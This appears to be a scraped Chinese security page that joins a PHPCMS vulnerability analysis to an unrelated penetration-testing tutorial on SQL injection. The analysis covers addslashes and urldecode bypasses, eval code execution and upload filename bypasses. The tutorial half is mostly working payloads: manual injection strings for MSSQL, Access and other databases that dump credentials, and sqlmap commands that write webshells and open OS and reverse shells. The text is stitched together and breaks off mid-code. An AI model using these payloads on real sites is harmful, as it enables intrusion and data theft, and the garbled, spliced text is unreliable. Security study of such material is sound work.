經(jīng)過(guò)對PHPCMS高危漏洞的分析整理以及統計,PHPCMS的高危漏洞類(lèi)型主要有以下五類(lèi):SQL注入類(lèi)、命令執行類(lèi)、任意文件上傳類(lèi)、任意文件下載類(lèi)、任意文件讀取類(lèi)。其中SQL注入問(wèn)題是最為嚴重的一類(lèi),不管數量還是威脅性都是其中最高的,5類(lèi)漏洞的數量具體分布占比如下圖。接下來(lái)按照這些漏洞中威脅性最高的五類(lèi)漏洞來(lái)介紹PHPCMS的經(jīng)典漏洞,以及漏洞間的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架層面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入問(wèn)題比PHPCMS 2008要嚴重很多,這是為什么?
首先從PHPCMS的框架上分析了這個(gè)問(wèn)題的原因。PHPCMS2008中對GPC變量的處理, 是在
include/common.inc.php中使用$db->escape($_GET)對輸入變量進(jìn)行轉義,實(shí)質(zhì)上是調用了
mysql_real_escape_string,PHP手冊上對這個(gè)函數的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函數將 unescaped_string中的特殊字符轉義,并考慮到連接的當前字符集,因此可以安全用于 mysql_query()
也就是說(shuō)PHPCMS 2008中使用mysql_real_escape_string對輸入變量進(jìn)行處理,是可以達到防注入效果的,PHPCMS2008中這樣的處理方式是比較安全的,但是也有其不合理的一面,原因在于:入口中對所有變量進(jìn)行mysql_real_escape_string處理,顯然并不是所有變量需要入庫,這樣處理必須影響性能(連接mysql->發(fā)送變量至mysql server ->mysql server轉義->返回給PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其實(shí)就是調用了PHP內置的addslashes對GPC變量添加轉義斜線(xiàn),這就相當于php.ini中打開(kāi)了magic_quotes_gpc選項,PHP手冊中對magic_quotes_gpc的處理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
從PHP 5.4.0開(kāi)始,已經(jīng)不支持magic_quotes_gpc了,這是為什么?
(1)性能:由于并不是每一段被轉義的數據都要插入數據庫的,如果所有進(jìn)入 PHP 的數據都被轉義的話(huà),那么會(huì )對程序的執行效率產(chǎn)生一定的影響。
(2)方便性:由于不是所有數據都需要轉義,在不需要轉義的地方看到轉義的數據就很煩。比如說(shuō)通過(guò)表單發(fā)送郵件,結果看到一大堆的 \'。
(3)安全問(wèn)題:事實(shí)上addslashes或開(kāi)啟magic_quotes_gpc并不能完全杜絕SQL注入。因為addslashes對有些特殊字符后跟上'(單引號)并不會(huì )加把這個(gè)'變成/',如:0xbf27的字就不會(huì ),所以縗' OR 1 limit 1/* 這個(gè)就存在。
針對這個(gè)問(wèn)題,PDO擴展而生,它主要解決兩個(gè)問(wèn)題:批量查詢(xún)時(shí)使用prepare提升查詢(xún)性能,使用參數化查詢(xún)從根本上杜絕SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依舊使用以下代碼,所這就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞層面分析
從具體的漏洞來(lái)看,PHPCMS代碼中出現的SQL注入點(diǎn)主要有三種情況:

第一種情況,即外部可控參數未進(jìn)行任何過(guò)濾,這種問(wèn)題是因為系統設計人員代碼設計的不嚴謹導致。其中最經(jīng)典的PHPCMS v9 前臺用戶(hù)登錄處SQL注入漏洞產(chǎn)生即是因為這個(gè)原因:用戶(hù)在登錄頁(yè)面輸入用戶(hù)名與密碼,在\phpcms\modules\member\index.php的login方法中,username使用的is_username進(jìn)行了過(guò)濾而password沒(méi)有做任何處理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陸js代碼
所以,Password就成為了一個(gè)注入點(diǎn)。輸入的username以及password被傳到phpsso模塊中進(jìn)行認證,而phpsso模塊并沒(méi)有解析過(guò)濾用戶(hù)名與密碼就直接進(jìn)行認證,認證后直接將信息返回到登錄頁(yè)面的login方法中。
第二種情況也是SQL注入中的經(jīng)典情形,即代碼中處理外部輸入數據的時(shí)候使用了urldecode()函數。比如單引號被 urlencode 兩次以后是 %2527,然后 POST。PHP 內部在生成全局變量 $_POST 的時(shí)候會(huì )先 urldecode,得到 %27,然后 PHP 會(huì )檢查 Magic Quotes 的設置,但是無(wú)論是否開(kāi)啟 Magic Quotes,%27 都不會(huì )被 addslashes,因為這時(shí)根本沒(méi)有單引號。
但是這時(shí)如果你在 PHP 代碼中畫(huà)蛇添足的加上 urldecode,%27就變成單引號了,這樣就成功繞過(guò)了,這種情況出現的根源在于之前分析的PHPCMS使用magic_quotes_gpc這種方式來(lái)處理外部數據。
PHPCMS V9 WAP SQL注入漏洞即是因為這種情況:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('參數錯誤');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
這段代碼中在處理外部可控參數commentid的時(shí)候,使用了urldecode()函數,最終可以采用%2527的方式來(lái)進(jìn)行過(guò)濾繞過(guò)。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id傳入sql查詢(xún)語(yǔ)句
在函數中,代碼通過(guò)GET獲取'a_k'值,并調用sys_auth函數進(jìn)行解密,然后使用parse_str()來(lái)解析解密后的$a_k參數,將字符串解析到變量中,并同時(shí)解碼。在parse_str()解析的過(guò)程中,就將之前構造好的SQL注入paylaod賦值到各個(gè)參數,并且繞過(guò)了所有限制。
這個(gè)漏洞利用還有另一個(gè)關(guān)口,就是需要將payload使用sys_auth加密,同樣,PHPCMS一個(gè)任意文件下載漏洞也是這個(gè)原理:構造payload—>sys_auth加密—>帶入到phpcms\modules\content\
down.php文件init函數中—>進(jìn)行解碼并parse_str()解析,payload通過(guò)這種方式可以繞過(guò)所有過(guò)濾關(guān)口,最終成功觸發(fā)。
從之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入問(wèn)題就在于程序員對待代碼邏輯的不嚴謹,缺少對外部可控參數的過(guò)濾或者說(shuō)是缺少完全的過(guò)濾驗證過(guò)程,PHP是很靈活的語(yǔ)言,其代碼的邏輯嚴謹程度即代表著(zhù)它的安全性高低!
命令執行漏洞
命令執行是一類(lèi)威脅性非常大的漏洞類(lèi)型,大多數“一鍋端”(能夠getshell,控制全站)漏洞都是命令執行漏洞。由之前的漏洞數量分布可知,命令執行問(wèn)題的數量?jì)H次于SQL注入,但是它的嚴重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令執行漏洞大部分都是由于一個(gè)函數,即global.func.php中的string2array()函數,函數代碼如下:
/**
* 將字符串轉換為數組
*
* @param string $data 字符串
* @return array 返回數組格式,如果,data為空,則返回空數組
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");

}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
該函數中使用了eval函數,這就代表所有調用這個(gè)函數的地方,如果存在過(guò)濾不嚴的情況,都會(huì )出現嚴重的命令執行漏洞。當然,我們不用懷疑程序員寫(xiě)BUG的能力,PHPCMS中多個(gè)命令執行漏洞都是因為外部參數未進(jìn)行嚴格過(guò)濾,就直接帶進(jìn)了string2array()中進(jìn)行處理,所以最終觸發(fā)了漏洞。
其中最經(jīng)典的一個(gè)漏洞PHPCMS 2008任意代碼執行漏洞,該漏洞利用門(mén)檻之低讓人大跌眼鏡,漏洞的出處就在yp/web/include/common.inc.php的menu變量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu參數是一個(gè)外部可控參數,該參數被被傳進(jìn)后臺之后未經(jīng)過(guò)任何處理以及限制,導致在string2array()函數中直接被eval函數執行,導致遠程代碼執行漏洞。
而這個(gè)函數從PHPCMS 2008到PHPCMS V9一直都存在,而該系統程序員也只是在之后每一個(gè)調用此函數的地方都先對傳入參數進(jìn)行過(guò)濾或者限制,但是任何過(guò)濾限制都有被繞過(guò)的可能,之后的事實(shí)證明確實(shí)如此,比如之后再V9版本出現的PHPCMS V9 phpcms\
modules\dbsource\data.php出現的遠程命令執行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代碼執行漏洞等均是因為這個(gè)原因。
所以,防止PHP程序出現代碼執行漏洞有一條金科玉律:永遠不要在代碼中使用eval。
因為,很少有人能夠掌控住這個(gè)函數,一旦控制不住,可能就會(huì )出現一個(gè)“一鍋端”的命令執行漏洞。
另外PHPCMS中出現的一個(gè)PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代碼執行漏洞,它的思想很特別、也很典型。該漏洞中存在的一個(gè)猛獸理論值得很多程序員以及安全研究人員來(lái)認真研究的?!懊瞳F來(lái)了,我們應該將其絕殺在門(mén)外,但是有些人非得把它放進(jìn)屋內,才殺之,你們難道不知道猛獸的嘴里可能叼了一個(gè)炸藥包嗎? 砰!!!結果全都玩完了…”。下面用具體代碼來(lái)解釋這個(gè)理論。
其中:
猛獸放進(jìn)室內:copy($_GET['src'],$_GET['dst']);
這條猛獸不安全,殺之:unlink($_GET['dst']);
炸藥包:$_GET['dst'] 此炸藥包的作用是生成惡意文件。
這段代碼中存在缺陷的地方就是將“猛獸”放進(jìn)市內的地方:
copy($_GET['src'],$_GET['dst']);
可將任意文件copy成惡意文件,如木馬,后來(lái)發(fā)現這個(gè)文件不安全,然后使用unlink將之刪除...,但是,有種可能就是木馬在刪除之前,生成了新的木馬文件,結果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令執行就是這個(gè)原理。首先上傳頭像,頭像的格式被壓縮為zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函數,首先被解壓,然后判斷為非jpg文件后刪除。攻擊者利用這個(gè)漏洞的過(guò)程中是將webshell保存為jpg中,構造后綴名突破jpg的限制,在文件被上傳解壓后,webshell執行在上層目錄生成一個(gè)新的webshell文件,由此觸發(fā)漏洞。
命令執行漏洞的威脅性極大,在任何代碼審計中,只要代碼中出現了eval,assert等這類(lèi)代碼執行函數后,都有可能出現代碼執行漏洞。并且猛獸理論也應該在被關(guān)注,這樣的邏輯在很多代碼中都會(huì )被用到,其解決的方法即應該在第一步的時(shí)候就處理風(fēng)險,不能將“猛獸放進(jìn)屋來(lái)”。
任意文件上傳漏洞、任意文件下載、任意文件讀取漏洞
這三類(lèi)漏洞是關(guān)于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上傳漏洞主要是因為文件上傳過(guò)程中,文件類(lèi)型的限制不嚴或者因為存在過(guò)濾限制繞過(guò),導致可以上傳一些可執行文件,最終GetShell。該類(lèi)漏洞與代碼執行很相似,最根本就是為了執行上傳文件中的惡意代碼。
其中PHPCMS v9 注冊頁(yè)面任意文件上傳漏洞和PHPCMS v9.6.1 后綴名提取導致任意文件上傳漏洞都是一種采用構造后綴名繞過(guò)限制過(guò)濾的漏洞。第一個(gè)漏洞中的正則要求輸入滿(mǎn)足src/href=url.(gif|jpg|jpeg|bmp|png),則構造的(
?。┓线@一格式(這也就是為什么后面要加.jpg的原因)。之后通過(guò)一系列處理,將.jpg去掉,那么最后文件的后綴就變成了.php成為了可執行文件。
而第二個(gè)漏洞中則因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));處理被繞過(guò),攻擊這可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php來(lái)繞過(guò)過(guò)濾,最終由于apache的文件名解析特性(可以去掉空格)導致上傳文件里php代碼最終被解析執行。所以該類(lèi)漏洞中,都是因為對文件名后綴缺少更嚴謹的處理,導致上傳可執行文件最終導致getshell。
PHPCMS
滲透測試培訓Day14 SQL注入之Oracle,MongoDB等注入
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 301 次瀏覽 ? 2022-06-23 12:24
我喜歡一個(gè)人
就像喜歡一陣風(fēng)
藏在你心里
習桑前言
SQL作用在關(guān)系型數據庫上面什么是關(guān)系型數據庫?關(guān)系型數據庫是由一張張的二維表組成的?常見(jiàn)的關(guān)系型數據庫廠(chǎng)商有?MySQL、SQLite、SQL?Server、Oracle?由于MySQL是免費的?所以企業(yè)一般用MySQL的居多?Web?SQL是前端的數據庫?它也是本地存儲的一種?使用SQLite實(shí)現?SQLite是一種輕量級數據庫?它占的空間小?支持創(chuàng )建表,插入、修改、刪除表格數據?但是不支持修改表結構?如刪掉一縱列?修改表頭字段名等?但是可以把整張表刪了?同一個(gè)域可以創(chuàng )建多個(gè)DB?每個(gè)DB有若干張表。與數據庫產(chǎn)生交互就有可能存在注入攻擊不只是MySQL數據庫還有Oracle,MongoDB等數據庫也可能會(huì )存在注入攻擊
簡(jiǎn)要學(xué)習各種數據庫的注入特點(diǎn)
數據庫架構組成,數據庫高權限操作
簡(jiǎn)要了解各數據庫
Access,Mysqlmssql(Microsoft?SQL?server)mongoDB,postgresqlsqlite,oracle,sybase等<br />Access 表名 列名 數據<br />Access數據庫保存在網(wǎng)站源碼下面自己網(wǎng)站數據庫獨立存在所以無(wú)法進(jìn)行跨庫也沒(méi)有文件讀寫(xiě)的操作
除了Access其他數據庫組成架構基本都是大同小異。<br />mysql mssql等數據庫名A 表名列名 數據 數據庫名B。。。。。。<br />每個(gè)數據庫功能不同,我們采取注入的時(shí)候攻入方式不同<br />什么決定網(wǎng)站注入點(diǎn)用戶(hù)權限?數據庫配置文件的用戶(hù),是誰(shuí)連接的
Access偏移注入
如果遇到列名猜解不到的情況,則可以使用Access偏移注入原理<br />借用數據庫的自連接查詢(xún)讓數據庫內部發(fā)生亂序從而偏移出所需要的字段在我們的頁(yè)面上顯示用途<br />解決知道Access數據庫中知道表名,但是得不到字段的sql注入困境特點(diǎn)<br />a. 成功與否看技巧與運氣,不能保證100%成功。b. 無(wú)需管理員賬號密碼字段,直接爆賬號密碼利用條件<br />a. 已知管理表名b. 已知任意字段(一個(gè)或多個(gè)會(huì )增加機率,最常見(jiàn)的就是id)影響偏移注入成功因素<br />a. 管理表的字段數越少越好(最好是三個(gè):id 賬號字段 密碼字段)b. 當前注入點(diǎn)的腳本內查詢(xún)的表內的字段數越多越好流程<br />a. 判斷字段數b. 判斷表名c. 開(kāi)始偏移注入<br />
本地Access偏移注入靶場(chǎng)
偏移量就是逐步增加或遞減直到出現結果。*表示可代替的字符串用*代替22,返回界面依舊報錯然后用*代替21,依次遞減22-16=6,6表示該表中的列名個(gè)數
*代表6個(gè),后面一串字符代表兩倍,就相當于2倍*,12個(gè)
爆列名數據
一級偏移語(yǔ)句:union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)二級偏移語(yǔ)句:union?select?1,2,3,4,a.id,b.id,c.id,*?from?((admin?as?a?inner?join?admin?as?b?on?a.id?=?b.id)inner?join?admin?as?c?on?a.id=c.id)
二級偏移,3倍*,所以為18個(gè)
查看登錄框源代碼的表單值或觀(guān)察URL特征等也可以針對表或列獲取不到的情況猜解表名可能是ZB_admin,觀(guān)察網(wǎng)站地址特征,是否有前綴。
或者看登錄框表單值
SQL server/MSSQL注入
7.1介紹
Microsoft SQL Server 是一個(gè)全面的數據庫平臺,使用集成的商業(yè)智能 (BI)工具提供了企業(yè)級的數據管理。Microsoft SQL Server 數據庫引擎為關(guān)系型數據和結構化數據提供了更安全可靠的存儲功能,使您可以構建和管理用于業(yè)務(wù)的高可用和高性能的數據應用程序。
7.2過(guò)程
?、倥袛鄶祿祛?lèi)型
and exists (select * from sysobjects)--返回正常為mssql(也名sql server)and exists (select count(*) from sysobjects)--有時(shí)上面那個(gè)語(yǔ)句不行就試試這個(gè)哈
?、谂袛鄶祿彀姹?br /> and?1=@@version--這個(gè)語(yǔ)句要在有回顯的模式下才可以哦and?substring((select??@@version),22,4)='2008'--適用于無(wú)回顯模式,后面的2008就是數據庫版本,?????????返回正常就是2008的復制代碼第一條語(yǔ)句執行效果圖(類(lèi)似):第二條語(yǔ)句執行效果圖:(如果是???????????? 2008的話(huà)就返回正常)
?、郢@取所有數據庫的個(gè)數 (一下3條語(yǔ)句可供選擇使用)
1. and 1=(select quotename(count(name)) from master..sysdatabases)--2. and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) --3. and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>5) --???and?1=(select?cast(count(name)?as?varchar)%2bchar(1)?from?master..sysdatabases?where?dbid>5)?--說(shuō)明:dbid從1-4的數據庫一般為系統數據庫.
?、莴@取數據庫 (該語(yǔ)句是一次性獲取全部數據庫的,且語(yǔ)句只適合>=2005,兩條語(yǔ)句可供選擇使用)
and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--?and?1=(select?'|'%2bname%2b'|'?from?master..sysdatabases?FOR?XML?PATH(''))--
?、瞢@取當前數據庫
and db_name()>0and 1=(select db_name())--
?、攉@取當前數據庫中的表(有2個(gè)語(yǔ)句可供選擇使用)【下列語(yǔ)句可一次爆數據庫所有表(只限于 mssql2005及以上版本)】
and?1=(select?quotename(name)?from?數據庫名..sysobjects?where?xtype='U'?FOR?XML?PATH(''))--?and?1=(select?'|'%2bname%2b'|'?from?數據庫名..sysobjects?where?xtype='U'??FOR?XML?PATH(''))--
?、喃@得表里的列
一次爆指定表的所有列(只限于mssql2005及以上版本):and?1=(select?quotename(name)?from?數據庫名..syscolumns?where?id?=(select??id?from?數據庫名..sysobjects?where?name='指定表名')?FOR?XML?PATH(''))--?and?1=(select?'|'%2bname%2b'|'?from?數據庫名..syscolumns?where?id?=(select??id?from?數據庫名..sysobjects?where?name='指定表名')?FOR?XML?PATH(''))--
?、岖@取指定數據庫中的表的列的數據庫
逐條爆指定表的所有字段的數據(只限于mssql2005及以上版本):and?1=(select?top?1?*?from?指定數據庫..指定表名?where排除條件?FOR?XML?PATH(''))--一次性爆N條所有字段的數據(只限于mssql2005及以上版本):and?1=(select?top?N?*?from?指定數據庫..指定表名?FOR?XML?PATH(''))--復制代碼第一條語(yǔ)句:and 1=(select top 1 * from 指定數據庫..指定表名 FOR XML PATH(''))--測試效果圖:----------------------------------加上where條件篩選結果出來(lái)會(huì )更加好,如:where and name like '%user%'??就會(huì )篩選出含有user關(guān)鍵詞的出來(lái)。用在篩選表段時(shí)很不錯。
轉自:http://www.myhack58.com/Articl ... 6.htm
PostgraSQL注入原理
https://www.webshell.cc/524.ht ... a2c2e
Oracle注入
https://www.cnblogs.com/peterp ... .html
MongoDB注入
https://blog.csdn.net/weixin_3 ... .html
各數據庫手工注入
MySQL:1.找到注入點(diǎn) and 1=1 and 1=2 測試報錯2.order by 5 # 到5的時(shí)候報錯,獲取字段總數為43.id=0(不是1就行,強行報錯) union select 1,2,3,4 # 聯(lián)合查詢(xún),2和3可以顯示信息4.獲取數據庫信息user() ==>rootdatabase() ==>mozhe_Discuz_StormGroupversion() ==>5.7.22-0ubuntu0.16.04.15.獲取數據庫表table_name 表名information_schema.tables 系統生成信息表table_schema=數據庫名16進(jìn)制或者用單引號括起來(lái)改變limit 0,1中前一個(gè)參數,得到兩個(gè)表 StormGroup_member notice6.獲取列名結果如下 id,name,password,status7.脫褲<br />Access:1.and 1=2 報錯找到注入點(diǎn)2.order by 獲取總字段3.猜解表名 and exists (select * from admin) 頁(yè)面返回正常,說(shuō)明存在admin表4.猜解列名 and exists(select id from admin) 頁(yè)面顯示正常,admin表中存在id列 username,passwd 同樣存在5.脫褲 union select 1,username,passwd,4 from adminMSSQL:1.and 1=2報錯2.order by N# 獲取總字段3.猜表名 and exists(select * from manage) 表名manage存在4.猜解列名 and exists(select id from manage) 列名id存在,同樣username,password也存在5.脫褲 and exists (select id from manage where id=1 ) 證明id=1存在and exists (select id from manage where%20 len(username)=8 and id=1 ) 猜解username字段長(cháng)度為8and exists (select id from manage where%20 len(password)=16 and id=1 ) 猜解password字段長(cháng)度為16可用Burp的Intruder功能輔助猜解猜解username第1到8位的字符,ASCII轉碼 admin_mz猜解password第1到16位的字符,ASCII轉碼(Burp 爆破)轉ASCII的py腳本:72e1bfc3f01b7583 MD5解密為97285101<br />SQLite:1.找注入點(diǎn) and 1=12.order by N 猜字段 43.猜數據庫offset ==>0~2有三個(gè)數據庫:WSTMart_regnotice_sybasesqlite_sequence4.猜列共有3個(gè)字段:id,name,password5.脫褲<br />MongoDB:1.id=1′ 單引號注入報錯2.閉合語(yǔ)句,查看所有集合3.查看指定集合的數據[0] 代表第一條數據,可遞增<br />DB2:1.and 1=2 判斷注入點(diǎn)2.order by N 獲取字段數3.爆當前數據庫GAME_CHARACTER4.列表NAME5.脫褲<br />PostgreSQL:1.and 1=2 判斷注入點(diǎn)2.order by N 獲取字段3.爆數據庫4.列表5.列字段6.拖庫<br />Sybase數據庫:1.and 1=2 判斷注入點(diǎn)2.order by N 獲取總字段3.爆數據庫4.列表5.列字段6.查狀態(tài)結果為:zhang7.反選爆用戶(hù)名結果為:mozhe8.猜解密碼<br />Oracle:1.and 1=12.order by3.爆數據庫4.列表5.列字段6.拖庫加上狀態(tài):1 where STATUS=1
簡(jiǎn)要學(xué)習各種注入工具的使用指南
熟悉工具的主持庫,注入模式,優(yōu)缺點(diǎn)等sqlmap,NoSQLAttack,Pangolin等
sqlmap基本操作sqlmap簡(jiǎn)介sqlmap支持五種不同的注入模式:
1、基于布爾的盲注即可以根據返回頁(yè)面判斷條件真假的注入2、基于時(shí)間的盲注即不能根據頁(yè)面返回內容判斷任何信息用條件語(yǔ)句查看時(shí)間延遲語(yǔ)句是否執行(即頁(yè)面返回時(shí)間是否增加)來(lái)判斷。3、基于報錯注即頁(yè)面會(huì )返回錯誤信息或者把注入的語(yǔ)句的結果直接返回在頁(yè)面中4、聯(lián)合查詢(xún)注入可以使用union的情況下的注入5、堆查詢(xún)注入可以同時(shí)執行多條語(yǔ)句的執行時(shí)的注入
sqlmap支持的數據庫有:
MySQL,?Oracle,?PostgreSQLMicrosoft?SQL?ServerMicrosoft?Access,?IBM?DB2SQLite,?Firebird,Sybase和SAP?MaxDB
檢測注入:
基本格式sqlmap -u “http://www.vuln.cn/post.php?id=1”默認使用level1檢測全部數據庫類(lèi)型sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3指定數據庫類(lèi)型為mysql,級別為3(共5級,級別越高,檢測越全面)跟隨302跳轉當注入頁(yè)面錯誤的時(shí)候,自動(dòng)跳轉到另一個(gè)頁(yè)面的時(shí)候需要跟隨302,當注入錯誤的時(shí)候,先報錯再跳轉的時(shí)候,不需要跟隨302。目的就是:要追蹤到錯誤信息。
cookie注入
當程序有防get注入的時(shí)候,可以使用cookie注入sqlmap -u “http://www.baidu.com/shownews.asp” –cookie “id=11” –level 2(只有level達到2才會(huì )檢測cookie)
從post數據包中注入
可以使用burpsuite或者temperdata等工具來(lái)抓取post包sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username參數
注入成功后
獲取數據庫基本信息sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 –dbs查詢(xún)有哪些數據庫sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test –tables查詢(xún)test數據庫中有哪些表sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin –columns查詢(xún)test數據庫中admin表有哪些字段sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin -C “username,password” –dumpdump出字段username與password中的數據其他命令參考下面從數據庫中搜索字段sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password在dedecms數據庫中搜索字段admin或者password。
讀取與寫(xiě)入文件
首先找需要網(wǎng)站的物理路徑,其次需要有可寫(xiě)或可讀權限。–file-read=RFILE 從后端的數據庫管理系統文件系統讀取文件 (物理路徑)–file-write=WFILE 編輯后端的數據庫管理系統文件系統上的本地文件 (mssql xp_shell)–file-dest=DFILE 后端的數據庫管理系統寫(xiě)入文件的絕對路徑#示例:sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”使用shell命令:sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell接下來(lái)指定網(wǎng)站可寫(xiě)目錄:“E:\php\htdocs\dvwa”#注:mysql不支持列目錄,僅支持讀取單個(gè)文件。sqlserver可以列目錄,不能讀寫(xiě)文件,但需要一個(gè)(xp_dirtree函數)
sqlmap基本操作
基本操作筆記:
-u #注入點(diǎn)-f #指紋判別數據庫類(lèi)型-b #獲取數據庫版本信息-p #指定可測試的參數(?page=1&id=2 -p "page,id")-D "" #指定數據庫名-T "" #指定表名-C "" #指定字段-s "" #保存注入過(guò)程到一個(gè)文件,還可中斷,下次恢復在注入(保存:-s "xx.log" 恢復:-s "xx.log" --resume)--level=(1-5) #要執行的測試水平等級,默認為1--risk=(0-3) #測試執行的風(fēng)險等級,默認為1--time-sec=(2,5) #延遲響應,默認為5--data #通過(guò)POST發(fā)送數據--columns #列出字段--current-user #獲取當前用戶(hù)名稱(chēng)--current-db #獲取當前數據庫名稱(chēng)--users #列數據庫所有用戶(hù)--passwords #數據庫用戶(hù)所有密碼--privileges #查看用戶(hù)權限(--privileges -U root)-U #指定數據庫用戶(hù)--dbs #列出所有數據庫--tables -D "" #列出指定數據庫中的表--columns -T "user" -D "mysql" #列出mysql數據庫中的user表的所有字段--dump-all #列出所有數據庫所有表--exclude-sysdbs #只列出用戶(hù)自己新建的數據庫和表--dump -T "" -D "" -C "" #列出指定數據庫的表的字段的數據(--dump -T users -D master -C surname)--dump -T "" -D "" --start 2 --top 4 # 列出指定數據庫的表的2-4字段的數據--dbms #指定數據庫(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)--os #指定系統(Linux,Windows)-v #詳細的等級(0-6) 0:只顯示Python的回溯,錯誤和關(guān)鍵消息。 1:顯示信息和警告消息。 2:顯示調試消息。 3:有效載荷注入。 4:顯示HTTP請求。 5:顯示HTTP響應頭。 6:顯示HTTP響應頁(yè)面的內容--privileges #查看權限--is-dba #是否是數據庫管理員--roles #枚舉數據庫用戶(hù)角色--udf-inject #導入用戶(hù)自定義函數(獲取系統權限)--union-check #是否支持union 注入--union-cols #union 查詢(xún)表記錄--union-test #union 語(yǔ)句測試--union-use #采用union 注入--union-tech orderby #union配合order by--data "" #POST方式提交數據(--data "page=1&id=2")--cookie "用;號分開(kāi)" #cookie注入(--cookies=”P(pán)HPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)--referer "" #使用referer欺騙(--referer "http://www.baidu.com")--user-agent "" #自定義user-agent--proxy "http://127.0.0.1:8118" #代理注入--string="" #指定關(guān)鍵詞,字符串匹配.--threads #采用多線(xiàn)程(--threads 3)--sql-shell #執行指定sql命令--sql-query #執行指定的sql語(yǔ)句(--sql-query "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" )--file-read #讀取指定文件--file-write #寫(xiě)入本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;將本地的test.txt文件寫(xiě)入到目標的1.txt)--file-dest #要寫(xiě)入的文件絕對路徑--os-cmd=id #執行系統命令--os-shell #系統交互shell--os-pwn #反彈shell(--os-pwn --msf-path=/opt/framework/msf3/)--msf-path= #matesploit絕對路徑(--msf-path=/opt/framework/msf3/)--os-smbrelay #--os-bof #--reg-read #讀取win系統注冊表--priv-esc #--time-sec= #延遲設置 默認--time-sec=5 為5秒-p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)" #指定user-agent注入--eta #盲注/pentest/database/sqlmap/txt/common-columns.txt 字段字典 common-outputs.txtcommon-tables.txt 表字典keywords.txtoracle-default-passwords.txtuser-agents.txtwordlist.txt<br />
常用語(yǔ)句 :
